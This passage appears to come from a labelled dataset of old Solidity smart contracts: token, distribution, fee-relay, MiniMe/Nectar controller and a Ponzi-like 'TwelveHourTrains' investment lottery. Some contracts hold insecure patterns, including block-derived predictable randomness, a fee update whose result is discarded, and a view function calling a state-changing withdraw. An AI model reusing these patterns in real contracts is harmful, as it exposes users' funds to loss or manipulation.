allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MineableToken is MintableToken {
event Commit(address indexed from, uint value,uint atStake, int onBlockReward);
event Withdraw(address indexed from, uint reward, uint commitment);
uint256 totalStake_ = 0;
int256 blockReward_;
struct Commitment {
uint256 value;
uint256 onBlockNumber;
uint256 atStake;
int256 onBlockReward;
}
mapping( address => Commitment ) miners;
function commit(uint256 _value) public returns (uint256 commitmentValue) {
require(0 < _value);
require(_value <= balances[msg.sender]);
commitmentValue = _value;
uint256 prevCommit = miners[msg.sender].value;
if (0 < prevCommit) {
uint256 prevReward;
(prevReward, prevCommit) = withdraw();
commitmentValue = prevReward.add(prevCommit).add(_value);
}
balances[msg.sender] = balances[msg.sender].sub(commitmentValue);
emit Transfer(msg.sender, address(0), commitmentValue);
totalStake_ = totalStake_.add(commitmentValue);
miners[msg.sender] = Commitment(
commitmentValue,
block.number,
totalStake_,
blockReward_
);
emit Commit(msg.sender, commitmentValue, totalStake_, blockReward_);
return commitmentValue;
}
function withdraw() public returns (uint256 reward, uint256 commitmentValue) {
require(miners[msg.sender].value > 0);
reward = getReward(msg.sender);
Commitment storage commitment = miners[msg.sender];
commitmentValue = commitment.value;
uint256 withdrawnSum = commitmentValue.add(reward);
totalStake_ = totalStake_.sub(commitmentValue);
totalSupply_ = totalSupply_.add(reward);
balances[msg.sender] = balances[msg.sender].add(withdrawnSum);
emit Transfer(address(0), msg.sender, commitmentValue.add(reward));
delete miners[msg.sender];
emit Withdraw(msg.sender, reward, commitmentValue);
return (reward, commitmentValue);
}
function getReward(address _miner) public view returns (uint256) {
if (miners[_miner].value == 0) {
return 0;
}
Commitment storage commitment = miners[_miner];
int256 averageBlockReward = signedAverage(commitment.onBlockReward, blockReward_);
require(0 <= averageBlockReward);
uint256 effectiveBlockReward = uint256(averageBlockReward);
uint256 effectiveStake = average(commitment.atStake, totalStake_);
uint256 numberOfBlocks = block.number.sub(commitment.onBlockNumber);
uint256 miningReward = numberOfBlocks.mul(effectiveBlockReward).mul(commitment.value).div(effectiveStake);
return miningReward;
}
function average(uint256 a, uint256 b) public pure returns (uint256) {
return a.add(b).div(2);
}
function signedAverage(int256 a, int256 b) public pure returns (int256) {
int256 ans = a + b;
if (a > 0 && b > 0 && ans <= 0) {
require(false);
}
if (a < 0 && b < 0 && ans >= 0) {
require(false);
}
return ans / 2;
}
function commitmentOf(address _miner) public view returns (uint256) {
return miners[_miner].value;
}
function getCommitment(address _miner) public view
returns (
uint256 value,
uint256 onBlockNumber,
uint256 atStake,
int256 onBlockReward
)
{
value = miners[_miner].value;
onBlockNumber = miners[_miner].onBlockNumber;
atStake = miners[_miner].atStake;
onBlockReward = miners[_miner].onBlockReward;
}
function totalStake() public view returns (uint256) {
return totalStake_;
}
function blockReward() public view returns (int256) {
return blockReward_;
}
}
contract MCoinDistribution is Ownable {
using SafeMath for uint256;
event Commit(address indexed from, uint256 value, uint256 window);
event Withdraw(address indexed from, uint256 value, uint256 window);
event MoveFunds(uint256 value);
MineableToken public MCoin;
uint256 public firstPeriodWindows;
uint256 public firstPeriodSupply;
uint256 public secondPeriodWindows;
uint256 public secondPeriodSupply;
uint256 public totalWindows;
address public foundationWallet;
uint256 public startTimestamp;
uint256 public windowLength;
mapping (uint256 => uint256) public totals;
mapping (address => mapping (uint256 => uint256)) public commitment;
constructor(
uint256 _firstPeriodWindows,
uint256 _firstPeriodSupply,
uint256 _secondPeriodWindows,
uint256 _secondPeriodSupply,
address _foundationWallet,
uint256 _startTimestamp,
uint256 _windowLength
) public
{
require(0 < _firstPeriodWindows);
require(0 < _firstPeriodSupply);
require(0 < _secondPeriodWindows);
require(0 < _secondPeriodSupply);
require(0 < _startTimestamp);
require(0 < _windowLength);
require(_foundationWallet != address(0));
firstPeriodWindows = _firstPeriodWindows;
firstPeriodSupply = _firstPeriodSupply;
secondPeriodWindows = _secondPeriodWindows;
secondPeriodSupply = _secondPeriodSupply;
foundationWallet = _foundationWallet;
startTimestamp = _startTimestamp;
windowLength = _windowLength;
totalWindows = firstPeriodWindows.add(secondPeriodWindows);
require(currentWindow() == 0);
}
function () public payable {
commit();
}
function init(MineableToken _MCoin) public onlyOwner {
require(address(MCoin) == address(0));
require(_MCoin.owner() == address(this));
require(_MCoin.totalSupply() == 0);
MCoin = _MCoin;
MCoin.mint(address(this), firstPeriodSupply.add(secondPeriodSupply));
MCoin.finishMinting();
}
function allocationFor(uint256 window) view public returns (uint256) {
require(window < totalWindows);
return (window < firstPeriodWindows)
? firstPeriodSupply.div(firstPeriodWindows)
: secondPeriodSupply.div(secondPeriodWindows);
}
function windowOf(uint256 timestamp) view public returns (uint256) {
return (startTimestamp < timestamp)
? timestamp.sub(startTimestamp).div(windowLength)
: 0;
}
function detailsOf(uint256 window) view public
returns (
uint256 start,
uint256 end,
uint256 remainingTime,
uint256 allocation,
uint256 totalEth,
uint256 number
)
{
require(window < totalWindows);
start = startTimestamp.add(windowLength.mul(window));
end = start.add(windowLength);
remainingTime = (block.timestamp < end)
? end.sub(block.timestamp)
: 0;
allocation = allocationFor(window);
totalEth = totals[window];
return (start, end, remainingTime, allocation, totalEth, window);
}
function detailsOfWindow() view public
returns (
uint256 start,
uint256 end,
uint256 remainingTime,
uint256 allocation,
uint256 totalEth,
uint256 number
)
{
return (detailsOf(currentWindow()));
}
function currentWindow() view public returns (uint256) {
return windowOf(block.timestamp);
}
function commitOn(uint256 window) public payable {
require(currentWindow() < totalWindows);
require(currentWindow() <= window);
require(window < totalWindows);
require(0.01 ether <= msg.value);
commitment[msg.sender][window] = commitment[msg.sender][window].add(msg.value);
totals[window] = totals[window].add(msg.value);
emit Commit(msg.sender, msg.value, window);
}
function commit() public payable {
commitOn(currentWindow());
}
function withdraw(uint256 window) public returns (uint256 reward) {
require(window < currentWindow());
if (commitment[msg.sender][window] == 0) {
return 0;
}
reward = allocationFor(window).mul(commitment[msg.sender][window]).div(totals[window]);
commitment[msg.sender][window] = 0;
MCoin.transfer(msg.sender, reward);
emit Withdraw(msg.sender, reward, window);
return reward;
}
function withdrawAll() public {
for (uint256 i = 0; i < currentWindow(); i++) {
withdraw(i);
}
}
function getAllRewards() public view returns (uint256[]) {
uint256[] memory rewards = new uint256[](totalWindows);
uint256 lastWindow = currentWindow() < totalWindows ? currentWindow() : totalWindows;
for (uint256 i = 0; i < lastWindow; i++) {
rewards[i] = withdraw(i);
}
return rewards;
}
function getCommitmentsOf(address from) public view returns (uint256[]) {
uint256[] memory commitments = new uint256[](totalWindows);
for (uint256 i = 0; i < totalWindows; i++) {
commitments[i] = commitment[from][i];
}
return commitments;
}
function getTotals() public view returns (uint256[]) {
uint256[] memory ethTotals = new uint256[](totalWindows);
for (uint256 i = 0; i < totalWindows; i++) {
ethTotals[i] = totals[i];
}
return ethTotals;
}
function moveFunds() public onlyOwner returns (uint256 value) {
value = address(this).balance;
require(0 < value);
foundationWallet.transfer(value);
emit MoveFunds(value);
return value;
}
}
contract MCoinDistributionWrap is MCoinDistribution {
using SafeMath for uint256;
uint8 public constant decimals = 18;
constructor(
uint256 firstPeriodWindows,
uint256 firstPeriodSupply,
uint256 secondPeriodWindows,
uint256 secondPeriodSupply,
address foundationWallet,
uint256 startTime,
uint256 windowLength
)
MCoinDistribution (
firstPeriodWindows,
toDecimals(firstPeriodSupply),
secondPeriodWindows,
toDecimals(secondPeriodSupply),
foundationWallet,
startTime,
windowLength
) public
{}
function toDecimals(uint256 _value) pure internal returns (uint256) {
return _value.mul(10 ** uint256(decimals));
}
} | 0 | 1,247 |
pragma solidity ^0.4.24;
contract TokenRelay {
using SafeMath for uint256;
uint256 constant Ilen = 5;
struct Interval {
uint256 start;
address contractAddr;
uint256[Ilen] tick;
uint256[Ilen] fee;
}
mapping (address => uint256) private balances;
mapping (address => Interval) private position;
address private feeOwner;
event Deposit(address _tokenAddr, address _beneficary, uint256 _amount);
event Redeem(address _addr, uint256 _amount, uint256 _fee);
constructor() public {
feeOwner = msg.sender;
}
function tokenStorage(
address _tokenAddr,
address _beneficary,
uint256 _amount,
uint256[Ilen] _tick,
uint256[Ilen] _fee
) public {
require(balances[_beneficary] <= 0, "Require balance of this address is zero.");
balances[_beneficary] = 0;
ERC20Token erc20 = ERC20Token(_tokenAddr);
if (erc20.transferFrom(msg.sender, address(this), _amount) == true) {
balances[_beneficary] = _amount;
position[_beneficary] = Interval(block.timestamp, _tokenAddr, _tick, _fee);
}
emit Deposit(_tokenAddr, _beneficary, _amount);
}
function redeem(uint256 _amount) public {
require(_amount > 0, "You should give a number more than zero!");
require(balances[msg.sender] > _amount, "You don't have enough balance to redeem!");
uint256 feeRatio = getRedeemFee(msg.sender);
uint256 total = _amount;
balances[msg.sender] = balances[msg.sender].sub(_amount);
uint256 fee = total.mul(feeRatio).div(100);
uint256 left = total.sub(fee);
ERC20Token erc20 = ERC20Token(position[msg.sender].contractAddr);
if (erc20.transfer(msg.sender, left) == true) {
balances[feeOwner].add(fee);
}
emit Redeem(msg.sender, left, fee);
}
function getRedeemFee(address _addr) internal view returns(uint256) {
for (uint i = 0; i < Ilen; i++) {
if (block.timestamp <= position[_addr].tick[i]) {
return position[_addr].fee[i];
}
}
return position[_addr].fee[4];
}
function balanceOf(address _addr) public view returns(uint256) {
return balances[_addr];
}
function redeemFee(address _addr) public view returns(uint256 feeInRatio) {
return getRedeemFee(_addr);
}
function redeemInterval(address _addr) public view returns(uint256 start, uint256[5] tick, uint256[5] fee) {
start = position[_addr].start;
tick = position[_addr].tick;
fee = position[_addr].fee;
}
}
interface ERC20Token {
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function transfer(address _to, uint256 _value) external returns (bool success);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | 0 | 1,985 |
pragma solidity ^0.4.25;
contract TwelveHourTrains {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 100;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 2 ether;
address public ownerWallet;
address public owner;
uint256 private randNonce = 0;
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Lottery(address player, uint256 lotteryNumber, uint256 amount, uint256 result,bool isWin);
constructor() public
{
owner = msg.sender;
ownerWallet = msg.sender;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner
{
require(newOwner != address(0));
owner = newOwner;
ownerWallet = newOwnerWallet;
emit OwnershipTransferred(owner, newOwner);
}
function () public payable
{
buy(0x0);
}
function buy(address _referredBy) public payable
{
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function lottery(uint256 _value) public payable disableContract
{
uint256 random = getRandomNumber(msg.sender) + 1;
bool isWin = false;
if (random == _value) {
isWin = true;
uint256 prize = msg.value.mul(249).div(100);
if (prize <= address(this).balance) {
msg.sender.transfer(prize);
}
}
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Lottery(msg.sender, _value, msg.value, random, isWin);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(24000);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256)
{
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256)
{
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256)
{
return referrer[_hunter];
}
function checkContractBalance() public view returns (uint256)
{
return address(this).balance;
}
function getRandomNumber(address _addr) private returns(uint256 randomNumber)
{
randNonce++;
randomNumber = uint256(keccak256(abi.encodePacked(now, _addr, randNonce, block.coinbase, block.number))) % 3;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 294 |
pragma solidity ^0.4.18;
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
function onBurn(address _owner, uint _amount) public returns(bool);
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'EFX_0.1';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
Checkpoint[] totalPledgedFeesHistory;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
uint constant MAX_UINT = 2**256 - 1;
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < MAX_UINT) {
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
}
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount
) internal {
if (_amount == 0) {
Transfer(_from, _to, _amount);
return;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function totalPledgedFees() public constant returns (uint) {
return totalPledgedFeesAt(block.number);
}
function totalPledgedFeesAt(uint _blockNumber) public constant returns(uint) {
if ((totalPledgedFeesHistory.length == 0)
|| (totalPledgedFeesHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalPledgedFeesAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalPledgedFeesHistory, _blockNumber);
}
}
function pledgeFees(uint _value) public onlyController returns (bool) {
uint curTotalFees = totalPledgedFees();
require(curTotalFees + _value >= curTotalFees);
updateValueAtNow(totalPledgedFeesHistory, curTotalFees + _value);
return true;
}
function reducePledgedFees(uint _value) public onlyController returns (bool) {
uint curTotalFees = totalPledgedFees();
require(curTotalFees >= _value);
updateValueAtNow(totalPledgedFeesHistory, curTotalFees - _value);
return true;
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract NEC is MiniMeToken {
function NEC(
address _tokenFactory,
address efxVaultWallet
) public MiniMeToken(
_tokenFactory,
0x0,
0,
"Ethfinex Nectar Token",
18,
"NEC",
true
) {
generateTokens(efxVaultWallet, 1000000000000000000000000000);
enableBurning(false);
}
bool public burningEnabled;
function enableBurning(bool _burningEnabled) public onlyController {
burningEnabled = _burningEnabled;
}
function burnAndRetrieve(uint256 _tokensToBurn) public returns (bool success) {
require(burningEnabled);
var previousBalanceFrom = balanceOfAt(msg.sender, block.number);
if (previousBalanceFrom < _tokensToBurn) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onBurn(msg.sender, _tokensToBurn));
}
Burned(msg.sender, _tokensToBurn);
return true;
}
event Burned(address indexed who, uint256 _amount);
}
contract Owned {
modifier onlyOwner { require (msg.sender == owner); _; }
address public owner;
function Owned() public { owner = msg.sender;}
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
}
contract Whitelist is Owned {
function Whitelist() {
admins[msg.sender] = true;
}
bool public listActive = true;
function isRegistered(address _user) public constant returns (bool) {
if (!listActive) {
return true;
} else {
return isOnList[_user];
}
}
function isAdmin(address _admin) public view returns(bool) {
return admins[_admin];
}
function addAdmin(address _newAdmin) public onlyOwner {
admins[_newAdmin] = true;
}
function removeAdmin(address _admin) public onlyOwner {
admins[_admin] = false;
}
modifier authorised () {
require(isAuthorisedMaker[msg.sender]);
_;
}
modifier onlyAdmins() {
require(isAdmin(msg.sender));
_;
}
mapping (address => bool) public admins;
mapping (address => bool) public isOnList;
mapping (address => bool) public isAuthorisedMaker;
function register(address[] newUsers) public onlyAdmins {
for (uint i = 0; i < newUsers.length; i++) {
isOnList[newUsers[i]] = true;
}
}
function deregister(address[] bannedUsers) public onlyAdmins {
for (uint i = 0; i < bannedUsers.length; i++) {
isOnList[bannedUsers[i]] = false;
}
}
function authoriseMaker(address maker) public onlyOwner {
isAuthorisedMaker[maker] = true;
address[] memory makers = new address[](1);
makers[0] = maker;
register(makers);
}
function deauthoriseMaker(address maker) public onlyOwner {
isAuthorisedMaker[maker] = false;
}
function activateWhitelist(bool newSetting) public onlyOwner {
listActive = newSetting;
}
function getRegistrationStatus(address _user) constant external returns (bool) {
return isOnList[_user];
}
function getAuthorisationStatus(address _maker) constant external returns (bool) {
return isAuthorisedMaker[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract NectarController is TokenController, Whitelist {
using SafeMath for uint256;
NEC public tokenContract;
address public vaultAddress;
uint public periodLength = 30;
uint public startTime = 1518523865;
mapping (uint => uint) public windowFinalBlock;
function NectarController(
address _vaultAddress,
address _tokenAddress
) public {
require(_vaultAddress != 0);
tokenContract = NEC(_tokenAddress);
vaultAddress = _vaultAddress;
windowFinalBlock[0] = 5082733;
windowFinalBlock[1] = 5260326;
}
function () public payable {
doTakerPayment();
}
function contributeForMakers(address _owner) public payable authorised {
doMakerPayment(_owner);
}
function proxyPayment(address _owner) public payable returns(bool) {
doTakerPayment();
return true;
}
function proxyAccountingCreation(address _owner, uint _pledgedAmount, uint _tokensToCreate) public onlyOwner returns(bool) {
doProxyAccounting(_owner, _pledgedAmount, _tokensToCreate);
return true;
}
function onTransfer(address _from, address _to, uint _amount) public returns(bool) {
if (isRegistered(_to) && isRegistered(_from)) {
return true;
} else {
return false;
}
}
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool)
{
if (isRegistered(_owner)) {
return true;
} else {
return false;
}
}
function onBurn(address _owner, uint _tokensToBurn) public
returns(bool)
{
require(msg.sender == address(tokenContract));
uint256 feeTotal = tokenContract.totalPledgedFees();
uint256 totalTokens = tokenContract.totalSupply();
uint256 feeValueOfTokens = (feeTotal.mul(_tokensToBurn)).div(totalTokens);
require (tokenContract.destroyTokens(_owner, _tokensToBurn));
require (address(this).balance >= feeValueOfTokens);
require (_owner.send(feeValueOfTokens));
emit LogClaim(_owner, feeValueOfTokens);
return true;
}
function doMakerPayment(address _owner) internal {
require ((tokenContract.controller() != 0) && (msg.value != 0) );
tokenContract.pledgeFees(msg.value);
require (vaultAddress.send(msg.value));
if(windowFinalBlock[currentWindow()-1] == 0) {
windowFinalBlock[currentWindow()-1] = block.number -1;
}
uint256 newIssuance = getFeeToTokenConversion(msg.value);
require (tokenContract.generateTokens(_owner, newIssuance));
emit LogContributions (_owner, msg.value, true);
return;
}
function doTakerPayment() internal {
require ((tokenContract.controller() != 0) && (msg.value != 0) );
tokenContract.pledgeFees(msg.value);
require (vaultAddress.send(msg.value));
emit LogContributions (msg.sender, msg.value, false);
return;
}
function doProxyAccounting(address _owner, uint _pledgedAmount, uint _tokensToCreate) internal {
require ((tokenContract.controller() != 0));
if(windowFinalBlock[currentWindow()-1] == 0) {
windowFinalBlock[currentWindow()-1] = block.number -1;
}
tokenContract.pledgeFees(_pledgedAmount);
if(_tokensToCreate > 0) {
uint256 newIssuance = getFeeToTokenConversion(_pledgedAmount);
require (tokenContract.generateTokens(_owner, _tokensToCreate));
}
emit LogContributions (msg.sender, _pledgedAmount, true);
return;
}
function setVault(address _newVaultAddress) public onlyOwner {
vaultAddress = _newVaultAddress;
}
function upgradeController(address _newControllerAddress) public onlyOwner {
tokenContract.changeController(_newControllerAddress);
emit UpgradedController(_newControllerAddress);
}
function getFeeToTokenConversion(uint256 _contributed) public view returns (uint256) {
uint calculationBlock = windowFinalBlock[currentWindow()-1];
uint256 previousSupply = tokenContract.totalSupplyAt(calculationBlock);
uint256 initialSupply = tokenContract.totalSupplyAt(windowFinalBlock[0]);
if (previousSupply >= 2 * initialSupply) {
return 0;
}
uint256 newTokens = _contributed.mul(1000).mul(bigInt(2)-(bigInt(previousSupply).div(initialSupply))).mul(bigInt(2)-(bigInt(previousSupply).div(initialSupply))).div(bigInt(1).mul(bigInt(1)));
return newTokens;
}
function bigInt(uint256 input) internal pure returns (uint256) {
return input.mul(10 ** 10);
}
